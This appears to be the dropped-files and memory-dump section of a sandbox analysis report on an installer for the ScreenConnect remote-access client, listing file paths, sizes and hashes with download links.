MD5 4d652651de20bd4916fb85f2009219a9
SHA1 bc7f4733f442e263106f38ea8572914b53f83f46
SHA512 d0ea20384ae7af4830aa792e16c9ba084411e21b61ef9e74b612dcd5d8bf97a9d830ddc97b24531024165d7e6db0570e916161c19a5cd09079319e3b20e1d533
TLSH
T1C5412758AAF90158B3B7BE566BF7A86D487BB8372E0BD45E10510E4E0A73B40C861737
MD5 SHA1 SHA512 TLSH

Submit Download

MSIDE07.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp
Size 1.1MB
SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
MD5 de6e7dfe9dd634ac9d38773353ef7819
SHA1 714c4d51644966f75384d5df46a26152677ebc26
SHA512 b6fbcd165d21524adcd2763ad8f195df3c3fcbe0fdc6637b4f462bc328e92e8357a6c5eaa7705e40d9d24cae8ceeb8dbf065c5c9fc8c1d4bc8371e23feef4f03
SSDEEP 24576:rUUGGJvVfMjrX2NZ2QNNfAGKBvAZA2OdFgVllX+06L7h:cGJNZT2TGKpKJOduLlu08N
TLSH
T1DE35237176A4C132F3A62B311C70A26155F8B9766DF8804F779D03BD9EE0B81E662327
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp-\ScreenConnect.Core.dll
Size 567KB
SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
MD5 bbfa13f0a1213839b8538d7bf5b59729
SHA1 58149ef3d2d898b71fe418ab578f81601b0aa860
SHA512 35c73f51e72f51984b637b9c2a50624b629dab67b89e13d7fa9d5f95ef8d205a2c75d1c97d7c00ce630cd0dca440cd93d1feeb077c19fa2ef044f1136830b892
SSDEEP 6144:gJv2rM+MrJSR1wrpiTw8iXlcY2BbVEBc8fXySJPluAPb2iS/ChwDTax4kxPhUTxv:Y2QTWo4T3ccY2BbV8ZJPlpPb2iLM
TLSH
T179C48D1973A88377C9DE0B7AE07055660F70E40424FBE76B7698F4A62CA33848D447E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp-\ScreenConnect.InstallerActions.dll
Size 24KB
SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
MD5 8ddf92d9e3add16db1614fd3cc92b65c
SHA1 53617a5c181b46d1feaf7bfe4089310a6498fb44
SHA512 550271d4fad8e7ae2905e99fb14e23613d3aaae873c2b3f6676f968a15fe26391c9638a4ac1d224df83221da8e4f1184ad7e3d19afe3a0365251b338357396a6
SSDEEP 384:n2azzV1VTsaS8hQlLkmoAUV7NaNeirM0dbMsFkjvZBVq20imZm:2azC9UVMcLv4w
TLSH
T17FB2D620678DE27AF9EA1634B563F7B011B3BDB3CCE9DA8525A420153D253E04FB5B06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIDE07.tmp-\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
MD5 9ce87a0b14a55ab8ad17602ea10f8cd9
SHA1 e0674df443bf5aaeb91557629c45d921576cda68
SHA512 d4335121dcfb052fc3b9e20ff0109b26b7325185be02ae40d55aa807ddfe915292b775a7899ca27610c663a711ea70aca6ad6d26fb6aa0bfff466043a4e2909b
SSDEEP 24576:sBjf5QN9Fj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:QQN9JkGYYpT0+TFiH7efP
TLSH
T1E185AD41E2C364F5D46B047888BF972ABA743C040365CAFB97D4AE366D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CustomAction.config

Path C:\Users\Admin\AppData\Local\Temp\MSIE4DE.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSIE4DE.tmp-\ScreenConnect.WindowsInstaller.dll
Size 137KB
SHA256 7c27380976a5befc5a947e129eb464123f46d06cf0eb7f984ced921f36e1d0e7
MD5 9a608a8c0652b8ef1be1ca636e1d1238
SHA1 08a05849a0e93ad8bc47f34d326d0e4b11bb4306
SHA512 21955e47312cc4bdd3411c6f7cd6fa4aaa4f1fde696dd589d57b461c24619f74007d9b860029162728daf8d23809542ed2cc1c30262252196c22cb2ab5531757
SSDEEP 1536:Zz6PudmhTuM6szFfJ49H/8P43rO6A16dTKHkvDutUVfh5U3KiQtlJEWq8qo0yN:ZGPudRM6oT4bXyk1VfjEDnU
TLSH
T1DFD3393463AC9A37E6EF5AB9E431B1440BF2B527B4E3F78D694864F81C127914B20367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi.crdownload

Path C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi.crdownload
Size 9.8MB
SHA256 604e7a7892a8afc62d54ae64ff9cd0c70e1604054435d303046a111109c2b78a
MD5 0d1d76a1709f1a39f5b210bfa1a6505e
SHA1 383b603fb9c2271fd47bd68b01f1e502644048e8
SHA512 4274b8870b455f9225c2cbb09fda2ff9ca904130ea3d9ebeb5df8d252726eb45eb81e1e9bbf1859b1a5ed8428a34aba5d274a23578b889b03bcacf2e41b1093d
SSDEEP 196608:9eq5KqDBCDkStjQECeq5KqDBCDkSt3eq5KqDBCDkStUeq5KqDBCDkSt:cq5VDBCDxjQE/q5VDBCDxOq5VDBCDxZT
TLSH
T1F2A6233267E8D425F1B60B3AEC3A86B16A39BD10DF15C40F2364784D6971D81C6A37BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI2D41.tmp

Path C:\Windows\Installer\MSI2D41.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1ov0uu1y.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\1ov0uu1y.newcfg
Size 883B
SHA256 db12c3ce50bd84c70fd391087a8e6be1b6d754dccfa709d4e94c6a743c9a2303
MD5 d2a320e911c70eeefcee2624785d78b9
SHA1 2133ce8111da81069f86ffb23b1e3a86934470c8
SHA512 01093f9677553fbdb7dbb62d5cc4c6d2fd5fe832bc0442fd75bef46ca15aa27afba8eed59733b5f0fa8cbaf56a5ed076282b5fcf27a82d3cd977821c46f9f760
TLSH
T15711669872C0AE6602A71A32D5224345FD311697026960E434EE613BAF709DB03E32EF
MD5 SHA1 SHA512 TLSH

Submit Download

fxsgprqf.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\fxsgprqf.newcfg
Size 883B
SHA256 988bce8eecf09de39e8493553fd639b466ead22e32cd35e1dd7957be73dd71a2
MD5 dae77c5d4437ff4b8bbf6a25d1c55c09
SHA1 4f1e119e08554b10fae450fedd3ef6a316366133
SHA512 80694d29d12b03dd00687306f126448835697b92fa1692caeaa5fddb12d4448b3db1bd3acdc9d80dd44a558ca3e669f5586ce0195eda84cc66db4d19f23b44a4
TLSH
T1F4118E5872C09E5602771A32D5314345FD311657016970E574EE613B9F709DB03E32DF
MD5 SHA1 SHA512 TLSH

Submit Download

gbzvia11.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\gbzvia11.newcfg
Size 883B
SHA256 dd4e2e020275a9150b721a290595043aaf0346f080d87476f2623489027b922f
MD5 3378049cfdb2d35e4ee8053448e9c4f5
SHA1 88f4ba21a23c82fb159b5f8bba958722b7f3b3d4
SHA512 c29a8fc474cb6610ebdb11dbb330753097a04e1f74622a65e0f2bd459940faa5bb348911f3468615b0b9d6dd3b0ea54567d4d73042206599435ff29c7ec08b24
TLSH
T1A611899872C0AE6602B72A32D5324345FD311697016970E434EE613BAF709DB03E32EF
MD5 SHA1 SHA512 TLSH

Submit Download

ggxjxm1r.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\ggxjxm1r.newcfg
Size 883B
SHA256 f53256b0d64ce7b96097adb3a9b71f10f5a98031f55e062e6d7eaad8878c241a
MD5 06472ec9a50f2aaab432150200d339cb
SHA1 a42917258ce033a4a603e37af44169d0c77b6540
SHA512 357f3ceb44767b20c7ad1e55395b81ae6b8bce021c3bbfd7537972c3234c7923c5cfcd808d78e6f554251f172d20b8da66b8fbe6a9d55ada71307dd8fba0c741
TLSH
T11811669872C0AE6602A71A32D5224345FD31169701A970E434EE613BAF709DB03E32EB
MD5 SHA1 SHA512 TLSH

Submit Download

obdjflok.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\obdjflok.newcfg
Size 883B
SHA256 9579bb0a8c06fea792186ddf16b61b94f38c44a3526787758096486090c41c1f
MD5 9ba5f97f2a9c206bf0c3f21ad68a456f
SHA1 22fb955aafe341a724c18a7e477b005e3698b632
SHA512 6726240b224443d42151fc0f0c544540fc24c17020b9414beaa8bc37e41ee3fb43c167123abe35f52351f5608f3a2fc5fd2ec5bea85182f5323c7c8020bf6530
TLSH
T1C4118E5872C0AE5602B71A32D5314345FD311657016970E534EE613B9F709DB03E32EF
MD5 SHA1 SHA512 TLSH

Submit Download

tesb5vyx.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\tesb5vyx.newcfg
Size 683B
SHA256 0a765a2808a519470e5642a2cc9680d0e42c37175b995ab413d2ef2f1973ce0d
MD5 d81c068bbdb3989981a436a0f8457e7f
SHA1 bde1ca9ccaa8ac74b505402bd2dfe876fa05eb73
SHA512 b8dd5db53b2e4ccfb6be8707c5d21662c326d1fd05aeb45fa960270efed475eee5f03a7a186057dea2d979d95c010912d2f5da3f38cecf7f2ad1ebf4d0a14f65
TLSH
T1A501F95571C0AE5702631A32D5228745FE71565B016520D974AE613BAF719CB03E32DF
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\user.config
Size 883B
SHA256 1b3e5159e06ed1eb2408d7a983908002888022aa3288ba09b5a2f120c3a175ac
MD5 490311aed53243feaf19385e75e21664
SHA1 400ac881ac77261e1f2d347b40944a2ba4189f87
SHA512 c1f1f8974fffc4b496b9d3d1985e6014a14f2d920e66c19e8a6e67087cd4b53344ab8f97b1ff84e580c2067978fe73687507da0eb2aaf1a0c9830802b3f29818
TLSH
T1BD11899872C0AE6602B71A32D5324345FD321697026970E434EE613BAF709DB03E32EF
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\user.config
Size 883B
SHA256 1fc4b7b677a54222840b57bb7fb499d82529e3f6816ecd0578dd80eb7b24aabf
MD5 fbcd1ad86a1da9060405515f65dfabe1
SHA1 1d810849fb036b75642d6a57370495d65664ab1b
SHA512 2c6da97137f482f3ddd9c5025adca960452a86158288c55a0aeadeaaef4acf8dd84fa7d9e1644f3bd5bc08d19af3e5eb4f58e737f9a6d3a7ae9987a121fbb4d8
TLSH
T13911669872C0AE6602A71A32D5224385FD711A97016960E534EE613BAF709DB03E32EB
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\user.config
Size 883B
SHA256 2ddd20afcc64390581e7ee0a31cfd4c6c04bbd1d10ea3e22e742c10d4d3858f8
MD5 fa120fcc2c670d575365a11e500cdf50
SHA1 2e04435ce4a72bf020ce53050fffa7b0af118748
SHA512 008e1e5f21ff243d6a39efb7ad2f9e0fef7c53567384338bba8ba8ccfea2dfbd652268bff01f3a70c93b573502263f1fa8696a1b4d2ebcb854c4d1a7f1c98e0c
TLSH
T11A11899872C0AE6602B72A32D5324345FD321697016970E534EE613BAF709DB07E32EF
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\user.config
Size 520B
SHA256 33057464fb396d11fc6d016e0f75eb040bb83cecc398e391bdc8c489e9dcc68a
MD5 65572d5e2e8962e029ed423ac92174cf
SHA1 b0203ee24c3242ba9c2c1b8d3accc8be8fe80d19
SHA512 1d4f5e4381c61c1cc59ba1854d3851231b3662e996436394dfcc8856b595cc299e9600434093e890dccdb9c3476a1450401eba39afae6507b43406024fb1905e
TLSH
T18DF0E9A131806E5703635E23C5118741EE726A9B0555209874AF613A6F315CE03A31CF
MD5 SHA1 SHA512 TLSH

Submit Download

y3m5ny1t.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8db655b205bc7fc2)\y3m5ny1t.newcfg
Size 883B
SHA256 71c561faddcaab8cf3de4b42602512d67eaad2a2a8750f7b238a6641587d0183
MD5 c98d14ecdad10bf92d15a766e106c9e7
SHA1 c3999ac45e24ea0167f89ee2bc184552fbcfd9e4
SHA512 116dbc937197024b366dd2bd153013b1d682317da4a2466206eb6330b7a781ea538b99e2221eea9b5cd07f7a5c3286936fe79fae316f32f47cc9b56ed29725b3
TLSH
T1A7118E9872C09E6602771A32D5314345FD311657016970E534EE613B9F709DB03E32DF
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 717971b3e3c71f7c684189602324c2c4c28c1c1d9ca3c6ec9ee205f3a30fda95
MD5 b0c30abc1e8345363645031e9d0dea01
SHA1 e891481ac8cc847a2a956fd8c94a1878bbe79f8d
SHA512 dc2484d65901463ed402389bc44f454420274d11abd463937eb85634d9a81527b89dae6c238755ea470063dc5ca7d91b2d57ea52d1fb585124f42cd1dc3d2077
SSDEEP 24576:8u8m+1zqdoO/vvTLrW2ez2qCHvkTel2y6AGt0JXVuUKX+R/r4vFvuw9Bz:t
TLSH
T19D47A42436F92140E7F79F3C68F06A23493A7D6B9C19DE8D45811B4E0921FB1E872F5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{4e31a89c-1b4d-4133-8baa-a6b358f5b19d}_OnDiskSnapshotProp

Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{4e31a89c-1b4d-4133-8baa-a6b358f5b19d}_OnDiskSnapshotProp
Size 6KB
SHA256 bf524902c17376102eec80ffdb9ce4bade0d66d145d0147eb5d30378c35ca073
MD5 6449b66fb0bac9dd8e42a772762907c3
SHA1 1fc0021ccd10813f3b1075a30f8edc35e2269d0d
SHA512 35fceb27659f1b57b199fcbe7681ca48c6a73190b00a1f51a55c41c1764c3b88d70556f5bdeccc59c5bd223c0ce8ea103547f8ada72422c2e7f9170a1755c8aa
SSDEEP 96:F+mQMmvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:gmub++ZVm
TLSH
T1AED1780C5AE54311E2B3AB7128F54557A877B911EF33CB8E0298238E2670A10F835F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2624-414-0x0000000004410000-0x00000000044A4000-memory.dmp

Download

memory/2624-446-0x0000000004A90000-0x0000000004B66000-memory.dmp

Download

memory/2624-413-0x0000000004180000-0x000000000419A000-memory.dmp

Download

memory/2624-415-0x0000000004660000-0x0000000004810000-memory.dmp

Download

memory/2624-416-0x0000000004500000-0x0000000004550000-memory.dmp

Download

memory/2624-442-0x00000000045C0000-0x000000000462C000-memory.dmp

Download

memory/2624-444-0x00000000048B0000-0x0000000004942000-memory.dmp

Download

memory/2624-445-0x00000000044B0000-0x00000000044F1000-memory.dmp

Download

memory/4140-271-0x0000000005F80000-0x0000000006524000-memory.dmp

Download

memory/4140-270-0x0000000005820000-0x00000000059D0000-memory.dmp

Download

memory/4140-266-0x0000000005560000-0x00000000055F4000-memory.dmp

Download

memory/4140-262-0x00000000054B0000-0x00000000054BC000-memory.dmp

Download

memory/4140-258-0x0000000005480000-0x00000000054AE000-memory.dmp

Download

memory/4680-448-0x0000000000F30000-0x0000000000FDE000-memory.dmp

Download

memory/4680-467-0x0000000003110000-0x0000000003151000-memory.dmp

Download

memory/4680-466-0x000000001DAC0000-0x000000001DC46000-memory.dmp

Download

memory/4680-464-0x00000000018A0000-0x00000000018BA000-memory.dmp

Download

memory/4680-463-0x000000001D780000-0x000000001D930000-memory.dmp

Download

memory/4680-462-0x000000001D530000-0x000000001D5C4000-memory.dmp

Download

memory/4680-453-0x00000000030A0000-0x000000000310C000-memory.dmp

Download

memory/4776-304-0x00000000033C0000-0x00000000033E8000-memory.dmp

Download